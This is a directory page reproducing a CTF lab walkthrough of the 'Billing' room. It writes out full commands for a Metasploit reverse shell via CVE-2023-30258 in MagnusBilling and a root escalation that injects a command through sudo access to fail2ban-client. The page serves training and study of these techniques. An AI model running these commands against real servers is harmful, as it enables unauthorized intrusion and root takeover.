Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Room-Walkthrough-Billing — 关于利用CVE-2023-30258渗透Billing room并通过fail2ban配置错误进行权限提升的详细演练 | Kitploit
工具/GitHubGitHub/adityabhatt3010/room-walkthrough-billing
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubadityabhatt3010/room-walkthrough-billing

Room-Walkthrough-Billing

关于利用CVE-2023-30258渗透Billing room并通过fail2ban配置错误进行权限提升的详细演练

查看仓库
141个月前尚未审核

🧠 房间通关:Billing

作者: Aditya Bhatt | 开源贡献者


📦 概览

在本攻略中,我们将全力攻破 Billing 房间,展示一个脆弱的 MagnusBilling 实例、一个诱人的未授权 RCE(CVE-2023-30258)以及一个喊着“提权我吧”的 fail2ban sudo 配置错误。

这个房间完美融合了自动化利用与创造性权限提升,让我们亲手体验隐藏在 VoIP 计费软件中的真实漏洞。 我们将从初始侦察一路走到Root Shell,附带完整 PoC、评论和 🗿 风格。


🌐 第一步:枚举阶段

🏁 初始着陆

部署机器后,首先映入眼帘的就像一个配置错误的防火墙:

root@kitploit:~
http://<machine_IP>/mbilling/

这就是 MagnusBilling 登录页面。仅此一点就足以触发警报——你知道即将迎来一些美味 CVE 的表演。

Site


🔍 Nmap 深度侦察 + Gobuster

我们先用终极侦察组合:

root@kitploit:~
nmap -A -sV -p- 10.10.115.173

🧠 发现结果:

  • 5038 端口 – Asterisk Call Manager/2.10.6
  • 其他 HTTP 服务位于 /mbilling/ 下

接下来用 Gobuster 进行暴力扫描:

root@kitploit:~
gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt

🧠 发现结果:

  • robots.txt

Robots

🏗️ robots.txt

然后我们检查网站的 robots.txt 看看有什么料:

root@kitploit:~
User-agent: *
Disallow: /mbilling/

嗯……想把它藏起来只会让我们更想要它 😈

Robots


🔌 第二步:漏洞利用

🔥 端口 5038 – Asterisk Manager

快速 netcat 测试确认其响应为:

root@kitploit:~
Response: Error
Message: Missing action in request

这进一步确认:后端是 MagnusBilling,并且该端口与 Asterisk Call Manager 相关联。是时候施展我们的黑暗法术了 🧙

5038


⚔️ 武器选择:CVE-2023-30258

漏洞:MagnusBilling 中的未认证远程代码执行 模块:exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

启动 Metasploit:

root@kitploit:~
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

msf_1

然后检查要求:

root@kitploit:~
show options

msf_2

然后设置以下参数:

root@kitploit:~
set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run

msf_3
msf_4

几秒钟后……砰。 我们拿到了 Meterpreter 会话!

root@kitploit:~
shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64

尝试生成 TTY shell:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

msf_5_1


🧭 第三步:用户枚举

我们开始向上遍历:

root@kitploit:~
cd ..
cd ..

msf_5_2

直到找到:

root@kitploit:~
cd /home/magnus
cat user.txt

msf_6

不错!但还没完。我们需要 root,而 Magnus 正在向我们耳语秘密。


🧨 第四步:权限提升

让我们检查可以用 sudo 运行哪些命令:

root@kitploit:~
sudo -l

结果:

root@kitploit:~
(ALL) NOPASSWD: /usr/bin/fail2ban-client

现在这可是 🔥。我们可以滥用 fail2ban-client,通过封禁操作以 root 身份执行命令。


🎯 Fail2Ban 滥用 → Root Shell

让我们重启 fail2ban:

root@kitploit:~
sudo /usr/bin/fail2ban-client restart

然后注入命令来窃取 root 标志:

root@kitploit:~
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"

触发封禁(从而执行命令):

root@kitploit:~
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

然后:

root@kitploit:~
cat /tmp/root.txt

msf_7

成功获得 Root。就像个大佬。 🗿🔥


✅ 最终回顾表


🧠 你学到了什么(又名半职业智慧)

  1. 🔍 侦察不仅仅是扫描 – 寻找隐藏页面、检查 robots.txt、深挖奇怪端口。
  2. 💣 利用已知 CVE – MagnusBilling 存在公开漏洞(CVE-2023-30258)。
  3. 🔓 权限提升不总是内核漏洞 – 错误配置的 sudo 权限(如 fail2ban-client)同样危险。
  4. ⚙️ 创意很重要 – 通过封禁操作绕过用户限制展示了现实世界中的横向思维。

🗿 最后的话

这个盒子完美平衡了自动化利用和手动后渗透创造力。 从 MagnusBilling RCE 到 fail2ban-rooting,它为渗透测试者的播放列表奏响了所有正确的音符 🎧🎯

无论你是想提升自我的新手,还是收集旗子的老手——这都是必攻之选。

下次见, 保持危险。保持好奇。保持威严。 🗿


下载工具
🔎 阶段💥 行动/使用的工具
初始访问使用 Nmap + Gobuster 发现 /mbilling 门户和 5038 端口
侦察发现MagnusBilling CMS + Asterisk Call Manager
漏洞利用通过 Metasploit 利用 CVE-2023-30258 → 获得 Meterpreter shell
枚举找到 /home/magnus/user.txt
权限提升滥用 fail2ban-client 的 sudo NOPASSWD → 以 root 身份执行 RCE
Root 标志通过 fail2ban payload 注入获取 /root/root.txt